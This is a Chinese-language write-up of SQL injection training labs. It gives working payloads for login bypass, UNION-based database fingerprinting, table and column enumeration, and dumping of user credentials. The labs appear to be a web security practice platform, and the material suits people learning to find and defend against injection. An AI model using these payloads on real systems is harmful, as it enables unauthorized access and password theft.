SQL注入备忘单

Lab:WHERE 子句中的 SQL 注入漏洞允许检索隐藏数据

此实验室在产品类别过滤器中包含 SQL 注入漏洞。当用户选择一个类别时,应用程序将执行如下 SQL 查询:

1
SELECT * FROM products WHERE category = 'Gifts' AND released = 1

要完成该实验,请执行 SQL 注入攻击,导致应用程序显示一个或多个未发布的产品。


当我们进入环境之后,选择其中一个类别后,会自动给我们进行筛选然后仅显示出我们选择的类别中我们所能看到的东西

查询的sql语句如上所示

因此我们输入的payload为:/filter?category=Gifts' or 1=1--+

Lab:允许绕过登录的 SQL 注入漏洞

本实验的登录函数中存在 SQL 注入漏洞。
要完成该实验,请执行 SQL 注入攻击,以 administrator 用户身份登录到应用程序。


进入环境的登陆界面,随便输入用户名和密码并抓包,如下:

image-20240707205353739

从题目中我们已知管理员的账户名,但是不知道密码

因此我们可以在输入账号名的地方将剩下的sql语句全部注释掉,这样就不会验证到密码,密码可以随便填

输入账号:administrator'#,被拦截

换一个注释符:administrator'--+,成功

Lab:SQL注入攻击,查询Oracle上的数据库类型和版本

此实验室在产品类别过滤器中包含 SQL 注入漏洞。您可以使用 UNION 攻击来检索注入查询的结果。
要解决该实验,请显示数据库版本字符串


Oracle 上有一个名为 dual 的内置表,我们可以通过该表来实现目的

首先我们测试出为单引号包裹

再通过:/filter?category=Clothing%2c+shoes+and+accessories' orderby 2--+判断出回显两个字段

继续:/filter?category=Clothing%2c+shoes+and+accessories' union select 'abc','def' from dual--+(Oracle默认是字符串)

查询资料得知要查看Oracle的版本号的语句为:select banner from v$version

由于要回显两个字段,所以第二个字段设为null

因此完整的注入语句为:/filter?category=Clothing%2c+shoes+and+accessories' union select banner,null from v$version--+

成功回显出版本号,题目解决

Lab:SQL注入攻击,查询MySQL和Microsoft的数据库类型和版本

此实验室在产品类别过滤器中包含 SQL 注入漏洞。您可以使用 UNION 攻击来检索注入查询的结果。

要解决该实验,请显示数据库版本字符串。


测试一下为单引号包裹,回显两个字段

所以注入:/filter?category=Gifts' union select @@version,null--+

页面末尾回显版本号,题目解决

Lab:SQL注入攻击,列出非Oracle数据库上的数据库内容

此实验室在产品类别过滤器中包含 SQL 注入漏洞。查询的结果将在应用程序的响应中返回,因此您可以使用 UNION 攻击从其他表中检索数据。
该应用程序具有登录功能,数据库包含一个保存用户名和密码的表。您需要确定该表的名称及其包含的列,然后检索该表的内容以获得所有用户的用户名和密码。
要完成实验,请以 administrator 用户身份登录。


首先拦截并修改设置产品类别过滤器的请求

测试出单引号包裹,回显两个字段,union注入启动

要注意Oracle数据库和mysql数据库还是有点不一样的

首先测出所有的表:?category=Gifts'union select table_name,null from information_schema.tables--+

然后检索一下发现我们所需的表名为users_accvfs

接着测出该表的所有字段:?category=Gifts'union select column_name,null from information_schema.columns where table_name='users_accvfs'--+

得到我们所需的两个字段名,爆出其内容:?category=Gifts'union select username_tvjrcf,password_lyiaeg from users_accvfs--+

得到管理员的密码

image-20240711153612565

登录账号,题目解决

Lab:SQL注入攻击,列出Oracle上的数据库内容

此实验室在产品类别过滤器中包含 SQL 注入漏洞。查询的结果将在应用程序的响应中返回,因此您可以使用 UNION 攻击从其他表中检索数据。

该应用程序具有登录功能,数据库包含一个保存用户名和密码的表。您需要确定该表的名称及其包含的列,然后检索该表的内容以获得所有用户的用户名和密码。
要完成实验,请以 administrator 用户身份登录


要注意:在 Oracle 数据库上,每个 SELECT 语句必须指定一个表来选择 FROM 。如果您的 UNION SELECT 攻击不从表中查询,您仍然需要包含 FROM 关键字,后跟有效的表名称;Oracle数据库中有一个内置表dual

由于是查看Oracle数据库中的内容,所以我们要遵循其语法规范

首先获取到所有的表:?category=Gifts'union select table_name,null from all_tables--+

得到我们所需的表后爆出所有的字段:?category=Gifts'union select column_name,null from all_tab_columns where table_name='USERS_FSFWLB'--+

获取到了两个我们需要的字段名,接着爆出其内容:?category=Gifts'union select USERNAME_MIGUZK,PASSWORD_OAVFCV from USERS_FSFWLB--+

获取到管理员的密码

登录上去,题目解决

Lab:SQL注入UNION攻击,确定查询返回的列数

此实验室在产品类别过滤器中包含 SQL 注入漏洞。查询的结果将在应用程序的响应中返回,因此您可以使用 UNION 攻击从其他表中检索数据。此类攻击的第一步是确定查询返回的列数。然后,您将在后续实验中使用此技术来构建完整的攻击。
要完成该实验,请通过执行 SQL 注入 UNION 攻击(返回包含空值的附加行)来确定查询返回的列数。


就是确定回显的列数而已

要注意的是后面是要:'union select null,null,null--+',需要的是null

Lab:SQL 注入 UNION 攻击,查找包含文本的列

此实验室在产品类别过滤器中包含 SQL 注入漏洞。查询的结果将在应用程序的响应中返回,因此您可以使用 UNION 攻击从其他表中检索数据。要构建此类攻击,您首先需要确定查询返回的列数。您可以使用在之前的实验室中学到的技术来完成此操作。下一步是识别与字符串数据兼容的列。
实验室将提供您需要使其出现在查询结果中的随机值。要完成该实验,请执行 SQL 注入 UNION 攻击,该攻击返回包含所提供值的附加行。此技术可帮助您确定哪些列与字符串数据兼容。


单引号包裹,回显列数为3

开始确定哪列可以与字符串数据兼容:?category=Pets'union select null,'waWdyd',null--+

测出是第二列,题目解决

Lab:SQL注入UNION攻击,从其他表检索数据

此实验室在产品类别过滤器中包含 SQL 注入漏洞。查询的结果将在应用程序的响应中返回,因此您可以使用 UNION 攻击从其他表中检索数据。要构建此类攻击,您需要结合在之前的实验中学到的一些技术。
该数据库包含一个名为 users 的不同表,其中包含名为 usernamepassword 的列。
要完成该实验,请执行 SQL 注入 UNION 攻击,检索所有用户名和密码,并使用该信息以 administrator 用户身份登录。


上面几题综合一下而已,没其他情况

Lab:SQL 注入 UNION 攻击,检索单个列中的多个值

此实验室在产品类别过滤器中包含 SQL 注入漏洞。查询的结果将在应用程序的响应中返回,因此您可以使用 UNION 攻击从其他表中检索数据。
该数据库包含一个名为 users 的不同表,其中包含名为 usernamepassword 的列。
要完成该实验,请执行 SQL 注入 UNION 攻击,检索所有用户名和密码,并使用该信息以 administrator 用户身份登录。


重点:?category=Pets'union select null,concat(username,password) from users--+

一次回显两个字段

得到所需密码,题目解决